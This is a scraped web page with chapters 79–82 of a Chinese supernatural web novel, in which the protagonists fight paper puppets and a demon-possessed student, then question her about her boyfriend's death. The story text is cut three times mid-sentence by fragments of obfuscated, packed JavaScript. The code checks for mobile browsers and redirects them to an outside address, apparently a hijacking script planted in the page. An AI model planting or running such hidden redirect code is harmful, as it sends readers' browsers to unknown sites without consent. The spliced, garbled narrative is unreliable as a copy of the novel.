$(''#content'').append('' 的妈妈就冲了上来,对着她说:“那天到底发生什么事情了?” “你说啊,我们阿峭死不瞑目啊。” 方艾看着趴在自己身上的张母,冷静地说:“阿姨,张峭他现在很开心。你不必太过伤心,就好好的送他一程吧。” 追思礼堂十分的安静,方艾的声音不大不小,但足以让在场的人听清楚。 “这说的…未免也没情商了吧?”瞿木小声嘀咕,“她又不是张峭,怎么知道张峭开心?未免也太不考虑张家人的心情了。” 林眠也觉得这话很不妥,还有些奇怪,她也低声同瞿木说:“难道张峭真是自杀的?所以才会开心?” 还不等瞿木说话,冰棺那会就闹了起来。 张母的声音撕心裂肺,她听了方艾的话,差点气都喘不过来,指着方艾说:“你…你…你有没有心啊!阿峭今年才20岁啊,他什么日子都没过,你竟然说他开心?” “你是什么人啊?你是阿峭的女朋友,你一点都不伤心,竟然还说得出他开心这种话!没天理啊,没天理。”张母边哭边说,嗓音沙哑,身体一直往前倾,试图去抓方艾,“你去我儿面前,你有本事把这话给我再说一遍!” 周围的人连忙上去拉住她,方艾也被人拉着往后走,让她远离停棺处。 主持人连忙出来镇场,让他们都安静,并说:“这里是逝者安息之地,你们在这吵吵闹闹,成何体统?这人走的都不安心!” 张母被拉开,还在一旁恶狠狠地盯着方艾看。 方艾的头发在刚刚中被摩擦的有些凌乱,但她脸上的表情很淡然,丝毫没有被刚刚的事所影响。 她站在原地看了会,听着张母的咒骂,突然扯着嘴角笑了下。 “她笑什么?”林眠一直在看着方艾,见她笑了便问。耳边还充斥着张母的叫骂声,用了很多粗鄙之语。 这让林眠觉得,城里人骂人骂得不比乡下人差。 林眠刚问完,一扭头就和方艾对视了。她心跳瞬间漏了一拍,有一种被人抓包了的感觉,但下一秒,她又觉得自己也没什么可心虚的,便抬头挺胸,机械地朝方艾挥了挥手。 “被发现了。”瞿木嘀咕了一句。 但这次奇怪的是,方艾就站在原地看着他们,一动不动。 秦宁皱了一下眉,抬起头看了看四周,气压变低了。 突然,方艾转头离开了。 “我们追吗?”林眠问。 “追。”秦宁话音刚落,就冲了出去。 瞿木看着他们两个齐齐跑出去,忍不住说:“不是,我们还没去献花啊?这…”他刚刚喊得有点大声,周围的人都看了过来。 “多不好啊。”瞿木嘀咕着声音说,随后在众目睽睽之下,他硬着头皮走到冰棺处,觑着眼连忙把手上的菊花放到冰棺处。 “谢谢。”张父在旁边鞠躬道谢。 瞿木尴尬的笑笑,连忙走到另一边,他还要去追林眠和秦宁。他刚走到门口的时候,视线余光突然瞄到一个熟悉的身影。 “况衍君?”瞿木愣了一下,况衍君来这里做什么? 他原本踏出去的脚又退了回来,虽然他想去找林眠他们,但这好不容易遇到了况衍君,错过了…就太可惜了。 瞿木连忙给秦宁发了条消息,然后再悄悄跟上况衍君。 79. 纸人 瞿木缩在一个白色帘子的后面,探出个脑袋,看着在前面净手的况衍君,还见他拿了一支菊花走到冰棺处。 这是来参加张峭的葬礼?他们认识吗? 只见况衍君虔诚的将花放到冰棺上,再和张峭的父母说话。 瞿木看不明白,但秦宁又不回自己消息。他也不知道为什么,突然觉得周围变冷了,冻得他寒毛都竖起来了。 他搓了搓手臂,哈了口热气。 这里靠近大门口,有人进进出出,看到瞿木都投来奇怪的视线。 瞿木准备挪到另一个角落里,因为况衍君看着也要离开了。他还没来得及动,就发现况衍君往另一个方向走去。 眼看着况衍君要离开视线了,瞿木也只能赶紧跟上去。 追思礼堂另一边还有一个后门。 瞿木走到这个后门处,发现况衍君他不见了,他四处张望,嘀咕着说:“人呢?” “你找我?” 瞿木一听到况衍君的声音在自己身后响起,顿时寒毛竖起,僵硬地扭过脖子,转过头,看向况衍君。 “我…只是觉得有个人的背影很像你,没想到真的是你。”瞿木勉强露出一个笑,并便说便往旁边走。 这个白纱后面就是礼堂,那里人多,况衍君应该也不敢这么明目张胆。 “你和张峭认识吗?”瞿木为了不冷场,开口问他。 “不算很熟。”况衍君回答。 瞿木没想到他真的会回答自己。 “你还是和以前一样,什么也没学会。”况衍君看着瞿木说。 瞿木已经掀开白纱帘子了,正准备离开,听到况衍君的话,他回过头来,问:“什么意思?” “你体内有菌丝和银木,这两者的力量你都不会用,简直就是可惜了。”况衍君淡淡地说。 瞿木没吭声,他没明白况衍君的意思,什么样的力量?他还在思考中,身体就突然被架起,一把被甩到小门的外边。 发出“嘭”的一声。 “你干嘛?”瞿木摔在了泥土地上,他连忙爬起来,看着况衍君。 “那当然是,杀了你。”况衍君说完,就上前,一把拎起瞿木,将他再次摔到地上,疼的瞿木呲牙列嘴的。 不是吧?这来真的啊?瞿木一想到这个,动作都迅速了一些,他好歹也是从小就练过什么跆拳道、拳击之类乱七八糟的东西,肯定不能一个劲的挨打。 他们两个在追思礼堂的后门处打斗,外面的人一点都没察觉到,甚至没一个人来到这一边。 —— 另一边,林眠追着秦宁出去,结果穿了几条街后,她就和秦宁走散了。 她停了下来,看着这一条寂静的巷道,和他们来的时候一样,基本上所有的店铺都是和殡葬行业有关,且全都是纸人铺。 店铺门口都摆放着穿黑色唐装的纸人,脸上的五官画的十分有神韵。 林眠看过去,就感觉这些纸人在和自己对视。她转身四处看了下,要不还是往回走吧。 小巷冷冷清清,店里面也没人在,风一吹,就连林眠也有点发寒了,她加快脚步往前走,试图早点离开这个阴风阵阵的地方。 她总觉得这些纸人的眼睛都在看着自己。 林眠不由得脚步加快。但她明明一直往前走,可走了许久,还是在这个小巷中,抬头看去,身旁还是那些纸人店铺。 鬼打墙。 林眠反应的很快,然而,她根本不知道怎么破解鬼打墙。之前都是秦宁在,秦宁破解就行,至于理论知识她也没记住。 她一抬头就和旁边的纸人对视上,甚至她还在这些纸人脸上看到诡异的笑容。 林眠快速低下头,安慰自己,这都是心理作用,不要慌。 就在她调整呼吸的时候,她突然觉得身后有凉意,似乎有什么东西在自己的身后。比起她的脑海里的想法,她身体反应更加迅速,直接一个下身,扭过身体,双手抽出菌丝,把身后那个东西击退。 林眠看去,才发现这是一个纸人。 纸人被菌丝打去,落在地上,碎成一地的纸片。 “谁?”林眠抬头看向周围。 她刚喊出声,周围的纸人纷纷动了起来,朝着林眠飞了过来。 林眠见状,也只能和它们对打起来。 打了一会儿,林眠就发现,这些纸人就像是傀儡一样,被人操控着,且周围有很多的纸人铺,这些纸人就源源不断的产生。 地上都堆满碎纸屑了,但纸人的数量还是没有减少。 林眠都累的气喘吁吁了。 纸人可不会累,它们还是冲着林眠袭来,乌泱泱的,很快就将林眠淹没在纸人堆中。 林眠眼前都是纸人,一个个垒在自己的面前,她感觉天都黑了。而且不知道什么缘故,她感觉脑部处有撕裂感,而且… 她的魂魄似乎在抽离自己的身体。 林眠很清楚的感知到她的魂魄在被某些东西吸着,正在强行剥离她的身躯。 这样不行,她抬了抬手,想要反抗,但又没有力气。她的脑海里出现很多画面,画面定格在她前两天在书房看到了书籍。 那天她太无聊了,就随手翻了一本书看,上面记载的是傀儡术。傀儡被操纵后,如果有大量的傀儡,那必然有一个是藏着操控之人的真身。 这里会有对方的真身吗? 林眠看着面前密密麻麻的纸人,它们的眼睛从原本的无神变为灵动,似乎在转动着眼珠子,她的眼前就全是纸人的眼珠子,晃动晃动。 不行,林眠晃了晃头,她不能坐以待毙,应该找出这些纸人里的真身,她用力地直起身子,抽出菌丝缠绕在这些纸人之中。 会是哪一个? 林眠闭上眼,感受着,菌丝触碰到这些纸人,也一并将感受带着她。 纸人显然没料到这个情况,都在奋力地朝着林眠进攻,但被菌丝织成的网给阻拦住了,任凭它怎么冲都冲不过去。 明明就只差一点了,明明已经将她的魂魄拉出一点了,怎么突然之间就…… 纸人有些恼羞成怒,攻击的更加猛烈。 林眠身体晃了一下,她能感受到对方进攻的更加强烈了,也显得有些急躁。也就是这个契机,她发现了。 “是这个。”林眠猛地睁开眼,抽出菌丝,凝聚成一把利刃,朝着其中一个红衣纸人刺去。 红衣纸人显然没料到这一点,更加不相信林眠能一下子找到自己,一时之间没有防备,便被直直的刺倒在地。 周围的纸人瞬间就像是泄了气的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149674|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球,落在地上。 那个红衣纸人直接碎成一地的红色碎屑,而在不远处的一家店铺内,发出了“哐当”一声的响声。 林眠半弯着腰,喘着气,刚刚那一击,她可是出尽了全力。但这个时候,她还要去看看那个人到底是谁。 她强撑着身体走到发出声音的那家店铺门口,定睛一看,竟然是方艾! 方艾吐了血,石砖上有不少红色血迹。她正半撑着身子,抬起头来看着林眠,冷笑说:“你比我想象中的要厉害。” “你为什么…要这样?”林眠不解,“是无支祁吗?” “只要杀了你,无支祁大人就会满足我的愿望。”方艾颤抖着说,可她没有这个能力,她根本打不过林眠。 林眠皱了一下眉,上次劳老太也这么说,说无支祁会满足他们的愿望。 “你…有什么样的愿望?为什么一定要无支祁才能满足你们的愿望?”林眠实在不解,人生在世,究竟有什么样的愿望要借助妖物的力量。 方艾深呼吸一口气,她浑身都在疼痛,就像是身体快要散架了一样。 “你不懂。”方艾强撑着爬起来。 林眠看着她,很确定地说:“你现在躯体里的是人。” 但方艾身体里的不是劳老太,她便问:“那劳老太在哪?” “我不知道。”方艾回答,她强撑着身体往外走,感受到外面刺骨的寒风,看着地面上的纸屑。 “你身体里的是骨妖,你应该想办法剔除它。”林眠上去劝她说,“你有什么愿望,你可以想别的途径,而不是利用妖物。” “你看,你都能压制过骨妖,你的意志力那么强。”林眠不太会说话,她只是把自己心里想的说出来。 方艾还那么年轻,她还是学生,明明还有大好的时光。 “已经回不去了。”方艾回过头,冷淡地看着林眠。 林眠张了张嘴,她刚想问有什么回不去的时候,只见方艾突然从背后伸出一节骨刃,猛地朝自己刺了过来。 她一时没有反应过来,就在这节骨刃差自己1厘米的时候,一把红色的弓箭飞了过来,挡住了骨刃。 林眠侧头看去,是秦宁来了。 “秦大师。” 秦宁一个跳跃过来,接过骨刃,与方艾对视。 林眠这个时候才发现,方艾的眼神不太一样了,她的眼睛里泛着幽幽的光,看着就像是没了生气的人偶。 下一秒,方艾就伸出骨刃,朝着秦宁发起进攻。 两人打到巷道上,地上的碎纸屑也随着他们的步伐而飞起,在空中旋转。 林眠在旁边着急地看了会,很快也加入战场。 秦宁没想到这个骨妖竟然这么厉害,面对驱魔弓也毫不畏惧,他念了相对应的决,但对方显然不是特别害怕。 好在林眠也在旁边,给自己降低了很大的压力。 骨妖一挑二,即使刚刚撑上一段时间,但很快也撑不住了。开始节节后退,也逐渐出现了破绽。 最后被秦宁摁住了。 秦宁一只手压住方艾的两只手,另一只手快速画符,摁在方艾的脑门上。 下一秒,方艾就晕了过去。 “她怎么样了?”林眠连忙过来问。 “无碍。” 80. 抗人 林眠看着脑门上贴着一张红色符咒、并且晕了过去的方艾,还是有些心有余悸,“真的没事吗?她刚刚吐了不少血。” 秦宁看了眼不远处店铺地上已经干了的血迹,又看了眼林眠,“你之前打赢她了?” “应该算是吧?”林眠也不知道怎么说比较好。 秦宁没多问,一把扛起方艾,说:“我们先回去。” “回哪儿?” “文家。” 林眠停下脚步,看了看四周,说:“可是,瞿木没跟过来。” “但我扛着个人,此地不宜久留。”秦宁回答说。 “那你先回去,我去礼堂那边找瞿木。” “好。” 两人就这么说定了。 出了这条巷子后,林眠和秦宁就走了相反的道路。 林眠一路小跑着到礼堂处,发现人已经散的差不多了,礼堂没几个人在。她快速地在礼堂里转了一圈,没看到瞿木的身影。 她这个时候才想起手机,连忙给瞿木打了电话过去。 电话很快就被接通了,但不是瞿木的声音。 “他在我这儿,地址是……” 林眠一听,就听出是况衍君的声音,背后还有瞿木的声音。 “林眠,你别听他的!不要来!” “滴滴。”电话被挂了。 林眠拿着手机,咬了咬牙,还是走到门口,打了一辆车,并把位置报给司机。坐在车上,她有些疲惫的闭上眼,刚刚和方艾在那里,她用了不少力气,现在放松下去,就觉得异常疲惫。 但一想到瞿木,她又紧绷了起来,思索着况衍君会做什么事。 况衍君说的地址离追思礼堂不远,大约十几分钟就到了。 林眠下了车,谨慎地打量着周围,有了方艾那里吃的亏,这次她就小心得多了。她到了指定的地址,这里是一栋老旧的民宅,看样子似乎没人居住了。 她看着面前的楼梯,往上走。 大概走了三层的时候,她就看到了被捆在地上的瞿木。 瞿木看到林眠,在地上滚动的更加厉害了,奈何他的嘴巴被胶带封住了,说不了话,只能发出“嗯嗯”的声音。 林眠连忙跑上前,去给瞿木解开绳子,然后撕开瞿木嘴上的胶带。 “你别来啊,快跑啊。”瞿木这才喊出声。 “怎么能不来?”林眠不满地说。 瞿木连忙站起身来,看了看四周,低声说:“他不知道藏在哪了。” 林眠也跟着紧张地看向周围,只见这附近空空荡荡的,一个人影都没。 “他是离开了吗?”林眠问。 瞿木摇摇头,“我不知道啊。” 说完,他开始四处走动,到处看了眼一圈,还真没人了。 “等下。”林眠突然注意到瞿木身后有一张纸条。她走过去,拿下贴在瞿木背后的纸条,上面写着一行字: 1月1日,五华山。 “这什么意思?”瞿木凑过头来,看着这几个字。 林眠摇摇头,“看样子他离开了,我们也先回去吧。” “好。”瞿木点头,敢情这况衍君只是想揍自己一顿?还是为了传达这张纸条的内容? 两人一起回到文家。 “秦宁呢?”瞿木问。 林眠抬头看了下,说:“可能是在楼上,他把方艾押回来了。” 瞿木刚刚在车上听了林眠说的,大概明白发生什么事情了。 “没想到这个方艾这么厉害,你没事就好。”瞿木叹着气说。 还不等他们上去找秦宁,文忱就来了。 “文叔。”林眠和瞿木开口和他打招呼。 “秦宁叫我来的,我们一起上去吧。”文忱急匆匆地走上楼梯。 林眠和瞿木赶紧跟上。 到了书房门口,方艾被捆在椅子上,身上还贴了符咒,但她已经醒了,睁着大大的圆眼看着从门口走进来的人。 “我用符咒压制住了。”秦宁开口说。 林眠看着方艾这副模样,就想起那天自己被文忱捆在椅子上的模样。他们除妖师都喜欢这么捆人吗? 文忱上前,半蹲下与方艾对视。 没一会儿,方艾便变得暴躁,眼神也变化的极快,用力地挣扎着,嘴里还在喊着:“放我出去,放我出去。” 瞿木被吓得往后退了几步,感觉下一秒这个方艾就冲上来咬人了。 过了几分钟,方艾才变得安静。 文忱站起身来,对他们说:“确实是人和妖的嵌合体,但这……”他说到一半沉默了。 “什么?”秦宁不解,他叫文忱来,就是因为自己没法分辨。 文忱伸出手,扯住方艾的衣领。 “诶,你干嘛?”瞿木一看,这也太不合适了吧?虽然方艾现在人不人、鬼不鬼的,但好歹也是个女生啊。 文忱没搭理瞿木,将方艾胸口处的衣服扯开,露出里面的符文。 “看这。”文忱示意他们看过来。 方艾的左胸上面,锁骨下一点,有一道符文在上面,是红色的。乍一看,还以为是纹身。 “这写的什么?”林眠看不懂。 秦宁也摇摇头,问:“这道符文是操控骨妖和方艾的符文?” “是的,但是,这个符文,是我文家的。”文忱说道,“无支祁那边…怎么会文家的操控术式?” “那肯定是你们文家有人站到无支祁那边去了。”瞿木开口说,并问:“之前那枚戒指、还有雕塑,都是你们文家的人做的。” 文忱不反驳,只是说:“文家从一百年前便申明不再参与玄学界的事,自此之后,不管是本家还是其他,人员都散去了。” “因此,是谁,恐怕不是很好找到。” 话虽这么说,他心里却有人选了。 瞿木也无话可说了,文家说是退出,但背地里还不是在偷偷学术式?现在弄成这样,也不知道当初的当家人是怎么想的。 “我有个问题,当初你们为什么要退出啊?”林眠有些好奇。 瞿木看向林眠,她是真敢问啊。 文忱看向林眠,笑道:“这是秘密。只有文家的人才能知道。” 林眠也只好闭上嘴。她对于自己算不算是文家的人,没有一点归属感,她即使住在这个屋子里,也感受不到父亲的存在。 “你们想干嘛?”方艾突然开口,盯着他们问。 大家伙又重新将视线集中在方艾身上。 “这个是骨妖还是方艾?”瞿木问,他有些迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162406|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊的,分不清。 “是方艾。”林眠快速回答,“骨妖的眼神不这样。” 她和方艾打过一场,也和骨妖打过,能分清楚这两者的眼神变化。 方艾看着他们,特别是眼前还有一道碍事的符咒,她也清楚现在自己没法反抗,只能问他们:“你们想知道什么?” “那想知道的可多了。”瞿木搬来一张凳子坐下,他被况衍君打的浑身酸痛,腿都在打颤。 秦宁走上前,看着方艾,问:“你说说你和骨妖是怎么融合在一起的?” 在云泉酒店的时候,明明是骨妖啃噬她的身体,那怎么会变成嵌合体?文忱说的,嵌合体是人吃了妖物。 而当时,骨妖批的皮是劳老太的。 方艾没有反抗,说:“那要从云泉酒店说起了。” “我说了,你们会放了我吗?”方艾突然问。 “不能,除非能把骨妖从你身上分离。”秦宁回答。 文忱在旁边端了一壶茶,走过来说:“很可惜,我们也不知道怎么分离,不过你身上的操控术倒是可以解掉。” 他就着茶壶嘴喝了一口茶,随后闭眼念咒。 方艾顿时感觉浑身发热,特别是胸口前的咒文变得滚烫无比,似乎已经将她的骨头都烫伤了。 “嗯…啊!”方艾脸上的青筋都快凸起,满头大汗,看起来十分痛苦。 瞿木在旁边看的都感同身受了,这就跟上刑一样。 解掉操控术大概花了半个小时才完成。 方艾已经没有力气了,胸口上的咒文也已消失。 “还是早点解了好,免得大半夜被操控了,不知道做出什么事来。”文忱说道,他害怕对方的术式能力太强,自己到时候还不一定能控制住方艾。 方艾垂着头,浑身已经被汗浸湿,发丝都是黏着的。她有气无力地抬起头,眼神有些浑浊地看着他们。 “这还要问吗?要不明天再问吧?”林眠说道。她看方艾这个模样,不禁想起之前那个活泼开朗的方艾。 瞿木不认同,说:“现在才八点不到,时间还有,而且…我们之后还有别的事情。” 他说到这个别的事情的时候,明显地撇了一眼方艾。 “我认同瞿木说的,还是先解决这件事,她关系到无支祁,以及背后操纵之人。”秦宁说道。 文忱刚刚解了操纵术,有些累地坐到了一边,没去参与他们的问话。 “事情是从云泉酒店开始的。”方艾主动开口说,她很疲惫,浑身上下都充满了乏力感,“在那里我接触到了…骨妖。” “也就是你们所知道的劳老太。” “之后你和张峭离开了,是骨妖再来找你们的?”秦宁问。 方艾看着秦宁,笑道:“不,是我去找的骨妖。” “我再一次回到了云泉酒店,但那里已经变样了,云泉酒店也关门了。我本以为无功而返,可是我遇到了他。” “他是谁?”林眠问。 方艾摇摇头,“我不知道他的姓名。” 林眠和秦宁对视一眼,林眠赶紧拿出手机,把里面的一张照片递到方艾的面前,问:“是他吗?” 方艾一愣,“是。” 瞿木凑过来,一看,惊讶:“况衍君!” 81. 审问 “看来你们都认识他。”方艾淡淡说道,表情很是淡漠,“他强迫我吃下骨妖,我没法反抗,就被迫吃下了,之后就变成这个样子。” “那会儿的骨妖是什么模样?”秦宁问,骨妖脱下劳老太的皮囊,想要获取下一具皮囊,至少要一个月的时间,根本没空再去找另一个。 方艾眼神向下,像是在思考,随后才开口:“不是很好形容,它…像是一团烟,透明中带着灰蓝,飘在半空中。” “嗯,是骨妖没有皮囊之后的形态。”秦宁点头,他刚刚是想确认一下方艾有没有说谎。 瞿木听着他们说的,有个问题想问:“劳老太的皮囊在我们这,但劳老太的骨呢?” “它叫骨妖,就是以骨为食,遇到喜欢的身躯,就会披上人的骨、肉和皮,倘若找到了更喜欢的,就会吃掉上一具的骨头。”秦宁解释说。 瞿木一听,打了个冷颤,这个妖物一点都不善良啊!吃骨头,听着比蝴蝶吃人肉要更令人毛骨悚然。 “后面的事,你们都知道了。”方艾说,“无支祁那边承诺我,只要我能杀掉林眠,就可以让我恢复自由,不受操控。” “也可以把骨妖从我的身体里拿出来,我还是可以回到属于自己的生活中。你们说,我有别的选择吗?” 方艾这话说的很丧气。 林眠听了之后,有一些气愤,并说:“当时在那个湖边,你明明可以和我们说的,你不说,你怎么就知道我们没办法救你?” “我为什么觉得你们一定可信?难道你们和无支祁不一样吗?在我的眼里,你们都是异类,不是人。” 方艾言语犀利,短短几句话,就让在场的人哑口无言。 现场的人,还有谁能够被称为普通人? “好了,事情已经到这里了。”秦宁走到一边说:“我们已经帮你解除咒术,况衍君那边无法再操控你,但是你身体里还有骨妖,至于怎么分离……” 秦宁看向文忱。 文忱摊手耸肩,说:“这个我们文家以前也做过实验,但从没成功过。” 他倒是很好奇,怎么做到分离。 “那就只好委屈你,在这儿先待着了。我们还有不少疑问,明天还需要再问你,也希望你能帮助我们。”秦宁对方艾说。 方艾没回答,只是撇开头,看向窗外。 之后,秦宁一行人就离开书房,并把书房门关上。 到了二楼的小客厅处,大家伙才都坐下来。 今天发生了很多事,除了文忱,其他人都瘫在沙发上。秦宁幽幽地开口说:“林眠,你怎么和方艾打起来了?” “我追着方艾,追着追着,就陷入死胡同了,这技法很巧妙,我花了不少时间才出来,一出来就看到你差点被方艾刺到。” 秦宁慢慢解释,他总觉得事情哪里不对劲,但又说不出来。 林眠就把自己的经历说了一遍,她刚说完纸人,就被文忱打断了。 “你一下就找到了藏着真身的纸人?”文忱问她。 林眠眨了眨眼,“也不算一下吧?我思考了好几秒。” “你为什么觉得是那个?”文忱问。 林眠思考了一下,“就…直觉?” 她很难形容那种感觉,就…觉得是那个,那种很微妙又被她捕捉到的感觉。 文忱大概心里有数,没多说什么。 “我说一下我的。”瞿木迫不及待地发言,“你们两个走的太快了,我想去追你们,结果刚走到门口,就看到了况衍君。” 瞿木把之后的事都说了,但省略了自己被打的很惨的那部分。 “你学会了怎么操控菌丝?”秦宁听完,最疑惑的是这一点,瞿木也可以操控体内的菌丝。 “况衍君说我体内有菌丝,且没有变成菌人,就可以利用菌丝的特性,但是我没学会操控菌丝,反而…”瞿木说着,伸出食指尖尖,找到那种感觉,他的食指处就冒出—— 一节银木? “银木?”秦宁和林眠都出声,就连坐在另一边的文忱都忍不住起身凑过来看。 瞿木被他们这么看着,得意地挑了下眉,说:“厉害吧?” “我也是在和况衍君打着打着的时候发现的,我只要意念足够集中,就能和林眠一样,把银木从身体里长出来,但奇怪的是,况衍君说的是菌丝,我没看到菌丝。” 瞿木说着,把自己的食指上长出的那节银木在他们面前晃晃,说:“它很硬,可以在任意地方长出分叉,还可以变尖。” 他边说边演示,学习的很快。 “这么看,况衍君是特地过来指点你的?”秦宁重新坐下,说。 “不是吧?他都快把我打个半死了。”瞿木不屑地说,他…即使会使用这个银木了,也没打过况衍君。 文忱在旁边若有所思。 林眠好奇地扒拉着瞿木的手指看,好奇地问:“你这是和我一样,被银木寄生了?” “我也不知道。”瞿木耸耸肩,但知道自己有能力,他还是很开心的,以后他就不用靠林眠保护自己了。 “对了。”林眠突然想起一件事,连忙从口袋里掏出那张纸条,递给秦宁,说:“这是我去找瞿木的时候,贴在瞿木背部的。” “应该是况衍君写的。” 秦宁拿着纸条看了一下,“五华山?师父们现在正聚在五华山。” “对。”林眠说道,“难道这个纸条的意思是指五华山有危险吗?” “我看这个纸条的意思,是让你们去五华山。”文忱在旁边悠悠开口。 林眠看向文叔,好奇地说:“可是我们去五华山要干嘛?” “不清楚。”文忱回答。 “那我们去吗?”瞿木问,“这上面还写了时间,一月一日是元旦啊,距离现在也就还有几天。” 瞿木此话一出,大家都没出声。 沉默了片刻后,文忱才说:“这个况衍君是无支祁的人,无支祁的人让你们去五华山,怕是有诈。” “但五华山是圣地,多少人在那修行,他无支祁就这么嚣张?” 秦宁想了想,说:“但我们之前能知道这么多线索,都是况衍君引导我们的,我很怀疑他的意图。” “他看着就不像是坏的!”林眠开口。 瞿木看向林眠,无奈地问她:“坏人你还能看出来吗?” 林眠抿着唇,低声说:“我就是…直觉。” “而且,我的直觉一直很准。” 这话一出,瞿木也不知道该怎么反驳了。但他心里就是不太开心,林眠似乎对况衍君有天然的信任感,对自己都没有。 “不对,那张峭到底怎么死的?”秦宁已经在思考下一个问题了,“想要解决方艾的事,关键就在于张峭的死。” “张峭为什么要死?死了有什么好处?” 秦宁一连串问题问了出来。 “你决定去五华山了?”瞿木直接问秦宁,这话题突然又回到了方艾身上,也就表明秦宁已经拿定了主意。 “对。”秦宁肯定的回答,“至少一路走来,我们按照况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173940|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍君的指示,从来没错过,还获得了很多信息。” “说不定他这次挖了个大坑!”瞿木说。 林眠看着瞿木,说:“你好像对他有很大的意见。” 她说着又想起今天的事,对瞿木接着说:“今天他虽然对你放了狠话,但是都没怎么伤着你。你就不要有这么大的敌意嘛。” 瞿木:……我还能说什么? “想要知道张峭的死,那就只能撬开方艾的嘴。”文忱站起身,说,“时间也不早了,我先回去了。” “嗯,拜拜。”林眠和文忱挥挥手。 文忱笑着也挥了下手,就离开了。 “文家现在经商经的这么好,文叔看起来术式也很厉害啊,解咒都会。”瞿木在文忱离开后,说道。 “他有在学习文家传承下来的术式。”秦宁说道,这并不意外,他其实更想知道文忱的哥哥、林眠的父亲,文恪的下落。 文恪随着林眠母亲离开了文家,之后两人便一起消失了。但生了林眠之后,林眠妈妈把林眠送到了盖山村。 有些疑问,怕是要找他们才能解开谜团。 “现在我们干嘛?”瞿木问,“吃饭去?” “嗯嗯,一天都没吃饭了。”林眠附和说。 秦宁看了眼他们两个,确实也饿了,便说:“我们去吃饭。” 等他们三人吃完晚餐回来的时候,已经十点多了。 回来先去书房看了眼方艾,还给她带了吃的。 林眠半蹲在方艾旁边,说:“我们给你带了点吃的,你凑合吃吧。” 她也不知道方艾喜欢吃啥,就带了一些容易入口的食物。 方艾也不挑食,林眠喂她什么就吃什么,吃饱了就把头一甩,表示自己不吃了。 林眠也只好收起来,站起身跟她说:“我先出去了,明天…还会再来问你一些问题。” “你们就这么好奇张峭的死?”在林眠走到门口的时候,方艾突然问她。 林眠回过头来,看着方艾,回想起之前秦宁说的话,跟她说:“想要解决你的事情,那张峭的死是关键。” “是吗?”方艾垂下头,“为什么你们就是不信他是自己想要死的呢?” “可他为什么要死?他有你这么漂亮的女朋友,爸妈也爱他,他有什么理由想要死呢?”林眠反问方艾,在她的眼里,张峭寻死的理由根本没有。 “明天不管你们怎么问,我都是这句话,张峭是自杀的。”方艾抛下这句话后,就什么也不再说了。 林眠也只好出去了。 瞿木刚刚洗完澡出来,一打开房门,就看到林眠端着盘子出来。 “你还挺喜欢方艾的,这么伺候她。”瞿木说道,是他就直接不给方艾吃了,反正饿一顿饿不死。 林眠瞥了眼瞿木,走到他身旁说:“刚刚方艾说张峭是自杀的。” “怎么可能?为什么自杀啊?”瞿木不解,好好的一个人,还是大学生,多么多姿多彩的生活啊。 “这才二十岁,在学校里面多姿多彩,要自杀也是出去社会打工了再自杀啊。” 林眠倒是不懂这个在学校里面多姿多彩是什么样的,但她也想不明白张峭有什么自杀的理由,还是当着自己女朋友的面。 “好啦,别想了,快去睡觉。”瞿木拍了拍林眠的头,对她说。 林眠下意识摸上自己的头顶,看了眼瞿木。 瞿木被这么看着,有些不好意思地说:“顺手…顺手。” 林眠没吭声,小跑着回房间了。 82. 人偶 一夜就这么静悄悄的过去了。 天还灰蒙蒙亮的时候,林眠就被敲门声叫醒,她迷糊着去开门,以为是瞿木来了,嘴里嘟囔着说:“天都没亮,你起这么早干嘛?” “是我。”文忱看着她眼睛都没睁开的模样,开口说道。 林眠瞬间一个惊醒,睁大眼睛看向面前的文叔。文叔穿着黑色大衣,倚靠在自己的房门前,一双眼正看着她。 她立马往后退了几步,开口问:“文叔,你怎么来了?” “当然是有事,你快去洗漱换衣服。”文忱说道,“我去客厅那边等你。” 林眠摸不着头脑,找自己有什么事?还需要这么早?她看了眼时间,还不到七点。她想归想,还是老老实实去洗漱了。 等她洗漱出来,刚好和秦宁撞见了。 “秦大师,你起这么早。”林眠看秦宁身上穿的运动装,就知道他出去跑步了。 “嗯,跑了会步。”秦宁说着便走到书房门口,打开门。 书房里的方艾听到动静,也醒了。她抬起头,看着门外的两人。 “得速战速决了,方艾消失了一天,她家人会找来。”秦宁冷静地说道,说着就上前掀下方艾头顶上的符咒。 方艾抬起头,看着秦宁,说:“你就不怕我跑了?” “你现在身体里的是方艾,不是骨妖。”秦宁回答。 林眠在门口站了一会儿,突然想起文叔还在客厅那边等着自己,就赶紧去了。她走到客厅处,文叔正在那儿泡茶,见她来了,说:“你来了,跟我来一下。” “去哪儿?”林眠跟上文忱,但忍不住问。 “地下室。”文忱回答。 林眠歪了一下头,这里竟然还有地下室。 